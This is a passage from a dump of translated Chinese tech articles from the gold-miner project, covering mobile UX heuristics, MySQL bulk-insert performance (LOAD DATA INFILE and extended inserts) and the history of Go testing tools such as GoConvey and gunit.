Begovic](https://dribbble.com/marinb) 设计）](https://cdn-images-1.medium.com/max/3360/0*3bb_fgKD3wieHvVP.gif)\n\n## 八、信息要容易获得\n\n**把界面元素放在用户触“指”可及的最佳位置，这样用户就不必凭记忆来操作。**\n\n认出某物比回忆某物要容易。如果移动界面的功能以少量信息或受众不太熟悉的系统为基础，那么就应该让信息容易获得，方便用户使用。\n\n[Nielsen 的](https://en.wikipedia.org/wiki/Heuristic_evaluation) 启发式原则之一建议，设计人员应该“通过使每个对象、动作和选项都是可见的来减少用户记忆的负担。用户不必记住会话的每个部分的信息。使用该系统的指示应是可见的，或在适当时容易检索。”\n\nJill Gerhardt-Powal 建议“将较低层次的数据整合到较高层次的总和中，以减少认知负担。”她还表示，“显示名称和标签应该与上下文相关，这将提高回忆和识别能力。”重要的是要意识到，第一次看到界面的用户不会像设计师那样了解和熟悉信息。对于经验丰富的团队来说，重复信息似乎有些冗余，但对于新用户来说却是必不可少的。\n\n![Uber 的 app 提供了三种级别的出租车服务，让用户在需要的时候很容易地访问每个选项。（由 Uber 设计）](https://cdn-images-1.medium.com/max/3360/0*x9HW0XVOKQKc_6tQ.gif)\n\n## 九、可靠的一致性\n\n**使用一致的和标准化的元素，如措辞、场景和操作来创建一个有凝聚力的体验。**\n\n人类被模式所吸引 —— 我们用模式来理解世界。在移动界面中创建模式，它将成为一个训练工具，让用户了解应该期望什么以及如何与 [界面设计](https://www.toptal.com/designers/ui/ui-styleguide-better-ux) 交互。\n\n“这不应该成为束缚。每一种情况都是不同的。” GOV.UK 的设计原则表明，界面风格应该是一致的，但不应该是千篇一律的。正如 Jill Gerhardt-Powal 所呼应的，“新信息应该在熟悉的框架内呈现(例如，模式、隐喻、日常用语)，这样信息更容易被人们接收。”\n\n![google 对设计的高度关注体现在其所有 UI 设计的详细指南中。（由 [Material](https://material.io/) 设计）](https://cdn-images-1.medium.com/max/3360/0*uBKIdRuzxPspM8e2.gif)\n\n## 十、明智的冗余\n\n**在设计过程中不断进行反思，以确保用户界面设计原则和可用性启发与产品的目的和用户需求保持一致。**\n\nJakob Nielsen 是第一个承认不可能为 [UI 设计](https://www.toptal.com/designers/ui) 提供通用细节的人。例如，他的两条启发式原则可以相互矛盾 —— #6：提供用户做出决策所需的所有信息；#8：消除任何不必要的东西。\n\n为特殊用例确定最佳策略的责任就落在了启发式评估人员和设计团队肩上了。如果产品是以人为本而设计的并围绕用户需求构建的，团队了解这一点后在做决定时有明确的目标。\n\n## 扩展阅读：\n\n* [Heuristic Analysis for UX — How to Run a Usability Evaluation](https://www.toptal.com/designers/usability/usability-analysis-how-to-run-a-heuristic-evaluation)\n* [The Principles of Design and Their Importance](https://www.toptal.com/designers/ui/principles-of-design)\n* [The Importance of Human-Centered Design in Product Design](https://www.toptal.com/designers/ux/human-centered-design)\n* [Creating a UI Style Guide for Better UX](https://www.toptal.com/designers/ui/ui-styleguide-better-ux)\n* [Mobile App Design Best Practices and Mistakes](https://www.toptal.com/designers/mobile/mobile-app-design-mistakes)\n\n***\n\n**本篇文章最初发表在 [www.toptal.com](https://www.toptal.com/designers/usability/mobile-heuristic-principles)。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/high-speed-inserts-with-mysql.md",
    "content": "> * 原文地址：[High-speed inserts with MySQL](https://medium.com/@benmorel/high-speed-inserts-with-mysql-9d3dcd76f723)\n> * 原文作者：[Benjamin Morel](https://medium.com/@benmorel)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/high-speed-inserts-with-mysql.md](https://github.com/xitu/gold-miner/blob/master/TODO1/high-speed-inserts-with-mysql.md)\n> * 译者：[司徒公子](https://github.com/stuchilde)\n> * 校对者：[GJXAIOU](https://github.com/GJXAIOU)、[QinRoc](https://github.com/QinRoc)\n\n# MySQL 最佳实践 —— 高效插入数据\n\n![Get the dolphin up to speed — Photo by [JIMMY ZHANG](https://blog-private.oss-cn-shanghai.aliyuncs.com/20200402002543.jpeg) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/6528/1*9Ihf50zErzTg4KR4JnodzA.jpeg)\n\n当你需要在 MySQL 数据库中批量插入数百万条数据时，你就会意识到，逐条发送 `INSERT` 语句并不是一个可行的方法。\n\nMySQL 文档中有些值得一读的 [INSERT 优化技巧](https://dev.mysql.com/doc/refman/5.7/en/insert-optimization.html)。\n\n在这篇文章里，我将概述高效加载数据到 MySQL 数据库的两大技术。\n\n## LOAD DATA INFILE\n\n如果你正在寻找提高原始性能的方案，这无疑是你的首选方案。`LOAD DATA INFILE` 是一个专门为 MySQL 高度优化的语句，它直接将数据从 CSV / TSV 文件插入到表中。\n\n有两种方法可以使用 `LOAD DATA INFILE`。你可以把数据文件拷贝到服务端数据目录（通常 `/var/lib/mysql-files/`），并且运行：\n\n```sql\nLOAD DATA INFILE '/path/to/products.csv' INTO TABLE products;\n```\n\n这个方法相当麻烦，因为你需要访问服务器的文件系统，为数据文件设置合适的权限等。\n\n好消息是，你也能将数据文件存储**在客户端**，并且使用 `LOCAL` 关键词：\n\n```sql\nLOAD DATA LOCAL INFILE '/path/to/products.csv' INTO TABLE products;\n```\n\n在这种情况下，从客户端文件系统中读取文件，将其透明地拷贝到服务端临时目录，然后从该目录导入。总而言之，**这几乎与直接从服务器文件系统加载文件一样快**，不过，你需要确保服务器启用了此 [选项](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_local_infile)。\n\n`LOAD DATA INFILE` 有很多可选项，主要与数据文件的结构有关（字段分隔符、附件等）。请浏览 [文档](https://dev.mysql.com/doc/refman/5.7/en/load-data.html) 以查看全部内容。\n\n虽然从性能角度考虑， `LOAD DATA INFILE` 是最佳选项，但是这种方式需要你先将数据以逗号分隔的形式导出到文本文件中。如果你没有这样的文件，你就需要花费额外的资源来创建它们，并且可能会在一定程度上增加应用程序的复杂性。幸运的是，还有一种另外的选择。\n\n## 扩展的插入语句（Extended inserts）\n\n一个典型的 `INSERT` SQL 语句是这样的：\n\n```sql\nINSERT INTO user (id, name) VALUES (1, 'Ben');\n```\n\nextended `INSERT` 将多条插入记录聚合到一个查询语句中：\n\n```sql\nINSERT INTO user (id, name) VALUES (1, 'Ben'), (2, 'Bob');\n```\n\n关键在于找到每条语句中要插入的记录的最佳数量。没有一个放之四海而皆准的数字，因此，你需要对数据样本做基准测试，以找到性能收益的最大值，或者在内存使用和性能方面找到最佳折衷。\n\n为了充分利用 extended insert，我们还建议：\n\n* 使用预处理语句\n* 在事务中运行该语句\n\n## 基准测试\n\n我要插入 120 万条记录，每条记录由 6 个 混合类型数据组成，平均每条数据约 26 个字节大小。我使用了两种常见的配置进行测试：\n\n* 客户端和服务端在同一机器上，通过 UNIX 套接字进行通信\n* 客户端和服务端在不同的机器上，通过延迟非常低（小于 0.1 毫秒）的千兆网络进行通信\n\n作为比较的基础，我使用 `INSERT ... SELECT` 复制了该表，这个操作的性能表现为**每秒插入 313,000 条数据**。\n\n#### LOAD DATA INFILE\n\n令我吃惊的是，测试结果证明 `LOAD DATA INFILE` 比拷贝表**更快**：\n\n* `LOAD DATA INFILE`：每秒 **377,000** 次插入\n* `LOAD DATA LOCAL INFILE` 通过网络：每秒 **322,000** 次插入\n\n这两个数字的差异似乎与从客户端到服务端传输数据的耗时有直接的关系：数据文件的大小为 53 MB，两个基准测试的时间差了 543 ms，这表示传输速度为 780 mbps，接近千兆速度。\n\n这意味着，很有可能，**在完全传输文件之前，MySQL 服务器并没有开始处理该文件**：因此，插入的速度与客户端和服务端之间的带宽直接相关，如果它们不在同一台机器上，考虑这一点则非常重要。\n\n#### Extended inserts\n\n我使用 `BulkInserter` 来测试插入的速度，`BulkInserter` 是我编写的 [开源库](https://github.com/brick/db) PHP 类的一部分，每个查询最多插入 10,000 条记录：\n\n![](http://blog-private.oss-cn-shanghai.aliyuncs.com/20200402002600.png)\n\n正如我们所看到的，随着每条查询插入数的增长，插入速度也会迅速提高。与逐条`插入`速度相比，我们在本地主机上性能提升了 6 倍，在网络主机上性能提升了 17 倍：\n\n* 在本地主机上每秒插入数量从 40,000 提升至 247,000\n* 在网络主机上每秒插入数量从 1,2000 提升至 201,000\n\n这两种情况都需要每个查询大约 1,000 个插入来达到最大吞吐量。但是**每条查询 40 个插入就足以在本地主机上达到 90% 的吞吐量**，这可能是一个很好的折衷。还需要注意的是，达到峰值之后，随着每个查询插入数量的增加，性能实际上是会下降。\n\nextended insert 的优势在网络连接的情况下更加明显，因为连续插入的速度取决于你的网络延迟。\n\n```sql\nmax sequential inserts per second ~= 1000 / ping in milliseconds\n```\n\n客户端和服务端之间的延迟越高，你从 extended insert 中获益越多。\n\n## 结论\n\n不出所料，**`LOAD DATA INFILE` 是在单个连接上提升性能的首选方案**。它要求你准备格式正确的文件，如果你必须先生成这个文件，并/或将其传输到数据库服务器，那么在测试插入速度时一定要把这个过程的时间消耗考虑进去。\n\n另一方面，extended insert 不需要临时的文本文件，并且可以达到相当于 `LOAD DATA INFILE` 65% 的吞吐量，这是非常合理的插入速度。有意思的是，无论是基于网络还是本地主机，**聚集多条插入到单个查询总是能得到更好的性能**。\n\n如果你决定开始使用 extended insert，一定要先**用生产环境的数据样本**和一些不同的插入数来**测试你的环境**，以找出最佳的数值。。\n\n在增加单个查询的插入数的时候要小心，因此它可能需要：\n\n* 在客户端分配更多的内存\n* 增加 MySQL 服务器的 [max_allowed_packet](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_max_allowed_packet) 参数配置。\n\n最后，值得一提的是，根据 Percona 的说法，你可以使用并发连接、分区以及多个缓冲池，以获得更好的性能。更多信息请查看 [他们博客的这篇文章](http://www.percona.com/blog/2011/01/07/high-rate-insertion-with-mysql-and-innodb/)。\n\n**基准测试运行在装有 Centos 7 和 MySQL 5.7 的裸服务器上，它的主要硬件配置有 Xeon E3 @3.8 GHz 处理器，32 GB RAM 和 NVMe SSD。MySQL 的基准表使用 InnoBD 存储引擎。**\n\n**基准测试的源代码保存在 [gist](https://gist.github.com/BenMorel/78f742356391d41c91d1d733f47dcb13) 上，结果图保存在 [plot.ly](https://plot.ly/~BenMorel/52) 上。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/history-of-go-testing.md",
    "content": "> * 原文地址：[A History of Testing in Go at SmartyStreets](https://smartystreets.com/blog/2018/03/history-of-go-testing)\n> * 原文作者：[Michael Whatcott]()\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/history-of-go-testing.md](https://github.com/xitu/gold-miner/blob/master/TODO1/history-of-go-testing.md)\n> * 译者：[kasheemlew](https://github.com/kasheemlew)\n> * 校对者：[StellaBauhinia](https://github.com/StellaBauhinia)\n\n# SmartyStreets 的 Go 测试探索之路\n\n最近常有人问我[这两个有趣的问题](https://github.com/smartystreets/goconvey/issues/360#issuecomment-368348056)：\n\n1. 你为什么将测试工具（从 [GoConvey](http://goconvey.co)）换成 [gunit](https://github.com/smartystreets/gunit)？\n2. 你建议大家都这么做吗？\n\n这两个问题很好，作为 GoConvey 的联合创始人兼 gunit 的主要作者，我也有责任将这两个问题解释清楚。直接回答，太长不读系列：\n\n问题 1：为什么换用 gunit？\n\n> 在使用 GoConvey 的过程中，有一些问题一直困扰着我们，所以我们想了一个更能体现测试库中重点的替代方案，以解决这些问题。在当时的情况中，我们已经无法对 GoConvey 做过渡升级方案了。下面我会**更**仔细介绍一下，并提炼到[简明的宣明式结论](#结论)。\n\n问题 2：你是否建议大家都这么做（从 GoConvey 换成 gunit）？\n\n> 不。我只建议你们使用能帮助你们达成目标的工具和库。你得先明确自己对测试工具的需求，然后再尽快去找或者造适合自己的工具。测试工具是你们构建项目的基础。如果你对后面的内容产生了共鸣，那么 gunit 会成为你选型中一个极具吸引力的选项。你得好好研究，然后慎重选择。GoConvey 的社区还在不断成长，并且拥有很多活跃的维护者。如果你很想支持一下这个项目，随时欢迎加入我们。\n\n* * *\n\n## 很久以前在一个遥远的星系...\n\n### Go 测试\n\n我们初次使用 Go 大概是在 Go 1.1 发布的时候（也就是 2013 年年中），在刚开始写代码的时候，我们很自然地接触到了 [`go test`](https://golang.org/cmd/go/#hdr-Test_packages) 和 [`\"testing\"` 包](https://golang.org/pkg/testing/)。我很高兴看到 testing 包被收进了标准库甚至是工具集中，但是对于它惯用的方法并没有什么感觉。后文中，我们将使用著名的[“保龄球游戏”练习](http://butunclebob.com/ArticleS.UncleBob.TheBowlingGameKata)对比展示我们使用不同测试工具后得到的效果。（你可以花点时间熟悉一下[生产代码](https://github.com/smartystreets/gunit/blob/master/advanced_examples/bowling_game.go)，以便更好地了解后面的测试部分。）\n\n下面是用标准库中的 `\"testing\"` 包编写保龄球游戏测试的一些方法：\n\n```\nimport \"testing\"\n\n// Helpers:\n\nfunc (this *Game) rollMany(times, pins int) {\n\tfor x := 0; x < times; x++ {\n\t\tthis.Roll(pins)\n\t}\n}\nfunc (this *Game) rollSpare() {\n\tthis.rollMany(2, 5)\n}\nfunc (this *Game) rollStrike() {\n\tthis.Roll(10)\n}\n\n// Tests:\n\nfunc TestGutterBalls(t *testing.T) {\n\tt.Log(\"Rolling all gutter balls... (expected score: 0)\")\n\tgame := NewGame()\n\tgame.rollMany(20, 0)\n\n\tif score := game.Score(); score != 0 {\n\t\tt.Errorf(\"Expected score of 0, but it was %d instead.\", score)\n\t}\n}\n\nfunc TestOnePinOnEveryThrow(t *testing.T) {\n\tt.Log(\"Each throw knocks down one pin... (expected score: 20)\")\n\tgame := NewGame()\n\tgame.rollMany(20, 1)\n\n\tif score := game.Score(); score != 20 {\n\t\tt.Errorf(\"Expected score of 20, but it was %d instead.\", score)\n\t}\n}\n\nfunc TestSingleSpare(t *testing.T) {\n\tt.Log(\"Rolling a spare, then a 3, then all gutters... (expected score: 16)\")\n\tgame := NewGame()\n\tgame.rollSpare()\n\tgame.Roll(3)\n\tgame.rollMany(17, 0)\n\n\tif score := game.Score(); score != 16 {\n\t\tt.Errorf(\"Expected score of 16, but it was %d instead.\", score)\n\t}\n}\n\nfunc TestSingleStrike(t *testing.T) {\n\tt.Log(\"Rolling a strike, then 3, then 7, then all gutters... (expected score: 24)\")\n\tgame := NewGame()\n\tgame.rollStrike()\n\tgame.Roll(3)\n\tgame.Roll(4)\n\tgame.rollMany(16, 0)\n\n\tif score := game.Score(); score != 24 {\n\t\tt.Errorf(\"Expected score of 24, but it was %d instead.\", score)\n\t}\n}\n\nfunc TestPerfectGame(t *testing.T) {\n\tt.Log(\"Rolling all strikes... (expected score: 300)\")\n\tgame := NewGame()\n\tgame.rollMany(21, 10)\n\n\tif score := game.Score(); score != 300 {\n\t\tt.Errorf(\"Expected score of 300, but it was %d instead.\", score)\n\t}\n}\n```\n\n对于之前使用过 [xUnit](https://en.wikipedia.org/wiki/XUnit) 的人，下面两点会让你很难受：\n\n1.  由于没有统一的 `Setup` 函数/方法可以使用，所有游戏中需要不断重复创建 game 结构。\n2.  所有的断言错误信息都得自己写，并且混杂在一个 if 表达式中，由它来以反义检验你所编写的正向断言语句。在使用比较运算符（`<`、`>`、`<=` 和 `>=`）的时候，这些否定断言会更加恼人。\n\n所以，我们调研如何测试，深入了解为什么 Go 社区放弃了[“我们最爱的测试帮手”](https://golang.org/doc/faq#testing_framework)和[“断言方法”](http://xunitpatterns.com/Assertion%20Method.html)的观点，转而使用[“表格驱动”测试](https://github.com/golang/go/wiki/TableDrivenTests)来减少模板代码。用表格驱动测试重新写一遍上面的例子：\n\n```\nimport \"testing\"\n\nfunc TestTableDrivenBowlingGame(t *testing.T) {\n\tfor _, test := range []struct {\n\t\tname  string\n\t\tscore int\n\t\trolls []int\n\t}{\n\t\t{\"Gutter Balls\", 0, []int{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}},\n\t\t{\"All Ones\", 20, []int{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1}},\n\t\t{\"A Single Spare\", 16, []int{5, 5, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}},\n\t\t{\"A Single Strike\", 24, []int{10, 3, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}},\n\t\t{\"The Perfect Game\", 300, []int{10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10}},\n\t} {\n\t\tgame := NewGame()\n\t\tfor _, roll := range test.rolls {\n\t\t\tgame.Roll(roll)\n\t\t}\n\t\tif score := game.Score(); score != test.score {\n\t\t\tt.Errorf(\"FAIL: '%s' Got: [%d] Want: [%d]\", test.name, score, test.score)\n\t\t}\n\t}\n}\n```\n\n不错，这和之前的代码完全不一样。\n\n优点：\n\n1.  新的代码短多了！整套测试现在只有一个测试函数了。\n2.  使用循环语句解决了 setup 重复的问题。\n3.  相似的，用户只会从一条断言语句中获取错误码。\n4.  在 debug 的过程中，可以很容易地在 struct 的定义中加一个 `skip bool` 来跳过一些测试\n\n缺点：\n\n1.  匿名 struct 的定义和循环的声明混在一起，看起来很奇怪。\n2.  表格驱动测试只在一些比较简单的，只涉及数据读入/读出的情况下才比较有效。当情况逐渐复杂起来的时候，它会变得很笨重，也不容易（或者说不可能）用单一的 struct 对整个测试进行扩展。\n3.  使用 slice 表示 throws/rolls 很“烦人”。虽然动动脑筋我们还是可以简化一下的，但是这会让我们的模板代码的[逻辑变复杂](http://xunitpatterns.com/Conditional%20Test%20Logic.html)。\n4.  尽管只用写一条断言语句，但是这种间接/否定式的测试还是让我很愤怒。\n\n### [GoConvey](http://goconvey.co)\n\n现在，我们不能仅仅满足于开箱即用的 `go test`，于是我们开始使用 Go 提供的工具和库来实现我们自己的测试方法。如果你仔细看过 [SmartyStreets GitHub page](https://github.com/smartystreets)，你会注意到一个比较有名的仓库 — GoConvey。它是我们对 [Go OSS社区贡献](https://smartystreets.com/docs/oss)的最早的项目之一。\n\nGoConvey 可以说是一个双管齐下的测试工具。首先，有一个测试运行器监控你的代码，在有变化的时候执行 `go test`，并将结果渲染成炫酷的网页，然后用浏览器展示出来。其次，它提供了一个库让你可以在标准的 `go test` 函数中写行为驱动开发风格的测试。还有一个好消息：你可以自由选择不使用、部分使用或者全部使用 GoConvey 中的这些功能。\n\n有两个原因促使我们开发了 GoConvey：重新开发一个我们本来打算在 [JetBrains IDEs](https://www.jetbrains.com/) 中完成的测试运行器（我们当时用的是 ReSharper）以及创造一套我们很喜欢的像 [nUnit](http://nunit.org/) 和 [Machine.Specifications](https://github.com/machine/machine.specifications)（在开始使用 Go 之前我们是 .Net 商店）那样的测试组合和断言。\n\n下面是用 GoConvey 重写上面测试的效果：\n\n```\nimport (\n\t\"testing\"\n\n\t. \"github.com/smartystreets/goconvey/convey\"\n)\n\nfunc TestBowlingGameScoring(t *testing.T) {\n\tConvey(\"Given a fresh score card\", t, func() {\n\t\tgame := NewGame()\n\n\t\tConvey(\"When all gutter balls are thrown\", func() {\n\t\t\tgame.rollMany(20, 0)\n\n\t\t\tConvey(\"The score should be zero\", func() {\n\t\t\t\tSo(game.Score(), ShouldEqual, 0)\n\t\t\t})\n\t\t})\n\n\t\tConvey(\"When all throws knock down only one pin\", func() {\n\t\t\tgame.rollMany(20, 1)\n\n\t\t\tConvey(\"The score should be 20\", func() {\n\t\t\t\tSo(game.Score(), ShouldEqual, 20)\n\t\t\t})\n\t\t})\n\n\t\tConvey(\"When a spare is thrown\", func() {\n\t\t\tgame.rollSpare()\n\t\t\tgame.Roll(3)\n\t\t\tgame.rollMany(17, 0)\n\n\t\t\tConvey(\"The score should include a spare bonus.\", func() {\n\t\t\t\tSo(game.Score(), ShouldEqual, 16)\n\t\t\t})\n\t\t})\n\n\t\tConvey(\"When a strike is thrown\", func() {\n\t\t\tgame.rollStrike()\n\t\t\tgame.Roll(3)\n\t\t\tgame.Roll(4)\n\t\t\tgame.rollMany(16, 0)\n\n\t\t\tConvey(\"The score should include a strike bonus.\", func() {\n\t\t\t\tSo(game.Score(), ShouldEqual, 24)\n\t\t\t})\n\t\t})\n\n\t\tConvey(\"When all strikes are thrown\", func() {\n\t\t\tgame.rollMany(21, 10)\n\n\t\t\tConvey(\"The score should be 300.\", func() {\n\t\t\t\tSo(game.Score(), ShouldEqual, 300)\n\t\t\t})\n\t\t})\n\t})\n}\n```\n\n和表格驱动的方法一样，整个测试都包含在一个函数中。又像在原来的例子中一样，我们通过一个辅助函数进行重复的 rolls/throw。不同于其他的例子，我们现在已经拥有了一个巧妙的、[不](https://github.com/smartystreets/goconvey/issues/4)[繁琐的](https://github.com/smartystreets/goconvey/issues/81)、[基于作用域](https://github.com/smartystreets/goconvey/issues/248)的[执行模型](https://github.com/smartystreets/goconvey/wiki/Execution-order)。所有的测试共享了 `game` 变量，但 GoConvey 的奇妙之处在于每个外层作用域都针对每个内层作用域执行。所以，每一个测试之间又相对隔离。显然，如果不注意初始化和作用域的话，你很容易就会陷入麻烦。\n\n另外，当你将对 Convey 的调用加入到循环中时（例如尝试将 GoConvey 和表格驱动测试组合起来使用），可能会发生一些诡异的事情。`*testing.T` 完全由顶层的 `Convey` 调用管理（你注意到它和其他的 `Convey` 稍有不同了吗？），因此你也不必在所有需要断言的地方都传递这个参数。但是如果用 GoConvey 写过任何稍微复杂点的测试的话，你就会发现取出辅助函数的过程相当复杂。在我决定绕过这个问题之前，我建了一个 `固定结构` 来存放所有测试的状态，然后在这个结构里创建 `Convey` 的回调会用到的函数。所以一会是 Convey 的块和作用域，一会又是固定结构和它的方法，这看起来就很奇怪了。\n\n### [gunit](https://github.com/smartystreets/gunit)\n\n所以，尽管我们花了点时间，但最终还是意识到我们只是想要一个 Go 版本的 xUint，它需要摒弃奇怪的点导入和下划线包等级注册变量（看看你的 [GoCheck](https://labix.org/gocheck)）。我们还是很喜欢 GoConvey 中的断言，于是从原来的项目中分裂出了一个[独立的仓库](https://github.com/smartystreets/assertions)，gunit 就这样诞生了：\n\n```\nimport (\n\t\"testing\"\n\n\t\"github.com/smartystreets/assertions/should\"\n\t\"github.com/smartystreets/gunit\"\n)\n\nfunc TestBowlingGameScoringFixture(t *testing.T) {\n\tgunit.Run(new(BowlingGameScoringFixture), t)\n}\n\ntype BowlingGameScoringFixture struct {\n\t*gunit.Fixture\n\n\tgame *Game\n}\n\nfunc (this *BowlingGameScoringFixture) Setup() {\n\tthis.game = NewGame()\n}\n\nfunc (this *BowlingGameScoringFixture) TestAfterAllGutterBallsTheScoreShouldBeZero() {\n\tthis.rollMany(20, 0)\n\tthis.So(this.game.Score(), should.Equal, 0)\n}\n\nfunc (this *BowlingGameScoringFixture) TestAfterAllOnesTheScoreShouldBeTwenty() {\n\tthis.rollMany(20, 1)\n\tthis.So(this.game.Score(), should.Equal, 20)\n}\n\nfunc (this *BowlingGameScoringFixture) TestSpareReceivesSingleRollBonus() {\n\tthis.rollSpare()\n\tthis.game.Roll(4)\n\tthis.game.Roll(3)\n\tthis.rollMany(16, 0)\n\tthis.So(this.game.Score(), should.Equal, 21)\n}\n\nfunc (this *BowlingGameScoringFixture) TestStrikeReceivesDoubleRollBonus() {\n\tthis.rollStrike()\n\tthis.game.Roll(4)\n\tthis.game.Roll(3)\n\tthis.rollMany(16, 0)\n\tthis.So(this.game.Score(), should.Equal, 24)\n}\n\nfunc (this *BowlingGameScoringFixture) TestPerfectGame() {\n\tthis.rollMany(12, 10)\n\tthis.So(this.game.Score(), should.Equal, 300)\n}\n\nfunc (this *BowlingGameScoringFixture) rollMany(times, pins int) {\n\tfor x := 0; x < times; x++ {\n\t\tthis.game.Roll(pins)\n\t}\n}\nfunc (this *BowlingGameScoringFixture) rollSpare() {\n\tthis.game.Roll(5)\n\tthis.game.Roll(5)\n}\nfunc (this *BowlingGameScoringFixture) rollStrike() {\n\tthis.game.Roll(10)\n}\n```\n\n可以看到，去除辅助方法的过程很繁琐，这是因为我们是在操作结构级的状态，而不是函数的局部变量的状态。此外，xUnit 中配置/测试/清除的执行模型比 GoConvey 中的作用域执行模型好懂多了。这里，`*testing.T` 现在由嵌入的 `*gunit.Fixture` 管理。这种方式对于简单的和基于交互的复杂测试来说同样直观好懂。\n\ngunit 和 GoConvey 的另一个巨大区别是，按照 xUnit 的测试模式，GoConvey 使用[共享的固定结构](http://xunitpatterns.com/Shared%20Fixture.html)而 gunit 使用[全新的固定结构](http://xunitpatterns.com/Fresh%20Fixture.html)。这两种方法都有道理，主要还是看你的应用场景。全新的固定结构通常在单元测试中更能让人满意，而共享的固定结构在一些配置消耗比较大的情况下更有利，例如集成测试或系统测试。\n\n全新的固定结构更能保证分开的测试项之间是相互独立的，因此 gunit 默认使用 [`t.Parallel()`](https://golang.org/pkg/testing/#T.Parallel)。同样的，因为我们只用反射调用子测试，所以也可以使用 `-run` 参数挑选特定的测试项执行：\n\n```\n$ go test -v -run 'BowlingGameScoringFixture/TestPerfectGame'\n=== RUN   TestBowlingGameScoringFixture\n=== PAUSE TestBowlingGameScoringFixture\n=== CONT  TestBowlingGameScoringFixture\n=== RUN   TestBowlingGameScoringFixture/TestPerfectGame\n=== PAUSE TestBowlingGameScoringFixture/TestPerfectGame\n=== CONT  TestBowlingGameScoringFixture/TestPerfectGame\n--- PASS: TestBowlingGameScoringFixture (0.00s)\n    --- PASS: TestBowlingGameScoringFixture/TestPerfectGame (0.00s)\nPASS\nok  \tgithub.com/smartystreets/gunit/advanced_examples\t0.007s\n```\n\n但不可否认，一些之前的样本代码仍然存在（比如文件头部的一些代码）。我们在 [GoLand](https://www.jetbrains.com/go/) 中安装了下面的实时模板，这些会自动生成前面大部分的内容。下面是在 GoLand 中安装实时模板的命令：\n\n*   在 GoLand 中打开偏好设置。\n*   在 `编辑器/实时模板` 中选中 `Go` 列表，然后点击 `+` 号并选择“实时模板”\n*   给他取个缩写名（我们用的是 `fixture`）\n*   将下面的代码粘贴到 `模板文本` 区域：\n\n```\nfunc Test$NAME$(t *testing.T) {\n    gunit.Run(new($NAME$), t)\n}\n\ntype $NAME$ struct {\n    *gunit.Fixture\n}\n\nfunc (this *$NAME$) Setup() {\n}\n\nfunc (this *$NAME$) Test$END$() {\n}\n```\n\n*   在那之后，点击“未指定应用上下文”警告旁边的`定义`。\n*   在 `Go` 前面打个勾然后点`OK`。\n\n现在我们只用打开一个测试文件，输入 `fixture` 然后用 tab 自动补全测试模板就行了。\n\n## 结论\n\n让我效仿[敏捷软件开发宣言](http://agilemanifesto.org/)的风格来做个总结：\n\n> 我们不断实践、帮助他人，最终发现了更好的方法来进行软件**测试**。这让我们实现了很多有价值的东西：\n>\n> *   在**共享的固定结构**的基础上实现了**全新的固定结构**\n> *   用巧妙的作用域语义实现了**简单的执行模型**\n> *   用局部函数（或者说包级的）变量作用域实现了**结构级作用域**\n> *   通过倒置的检查和手动创建的错误信息实现了**直接的断言函数**\n>\n> 也就是说，虽然其他的测试库也很不错（这是一方面），我们更喜欢 gunit（这是另一方面）。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 